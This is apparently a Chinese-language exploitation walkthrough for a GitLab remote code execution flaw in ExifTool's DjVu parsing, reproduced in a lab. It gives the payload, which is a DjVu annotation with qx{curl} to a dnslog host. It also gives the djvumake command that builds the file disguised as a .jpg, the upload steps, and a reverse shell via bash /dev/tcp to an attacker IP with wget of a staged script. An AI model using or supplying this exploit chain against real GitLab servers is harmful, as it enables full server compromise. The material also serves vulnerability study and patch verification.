该漏洞影响从11.9开始的所有版本,由于Gitlab未正确验证传递到文件解析器的图像文件从而导致命令执行。攻击者可构造恶意请求利用该漏洞在目标系统执行任意指令,最终导致Gitlab服务器被控制。
Gitlab CE/EE < 13.10.3
【资料图】
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8
需要gitlab账号
靶机: 192.168.164.132
Docker安装gitlab
验证版本:gitlab-ce:13.8.2-ce.0
攻击机:192.168.164.135
DjVuLibre安装
当上传图片文件时,Gitlab Workhorse将扩展名为jpg|jpeg|tiff的文件通过ExifTool删除任何非白名单标记。
其中一个支持的格式是DjVu。当解析DjVu注释时,标记被赋值为convert C escape sequences。
$tok = eval qq{\"$tok\"};
1) 登录后首页,找到New Snippets
2) 此处需要上传 DjVu 格式图片(即Exp)
DjVu格式图片制作方式:(说明:DJVU文件是由AT&T开发并由LizardTech销售的压缩图像格式。)
下载安装 DjVuLibre, 地址为
http://djvu.sourceforge.net/
./configure make make install
3) 准备好将要压缩图片的文本rce.txt
EXP如下:
(metadata
(Copyright \"\
\" . qx{curl taot.np3ray.dnslog.cn} . \
\" b \") )
4) 使用命令生成图片
djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt
mv rce.djvu rce.jpg
5) 上传Exp
上传rce.jpg图片
6) 命令回显成功执行
7) 反弹shell
准备一个tmp.txt
bash -i >& /dev/tcp/192.168.164.135/4433 0>&1
第一次合成jpg命令如下:
wget http://192.168.164.135/tmp.txt -O /tmp/tmp.txt
第二次合成jpg命令如下:
bash /tmp/tmp.txt
8) 上传反弹shell成功。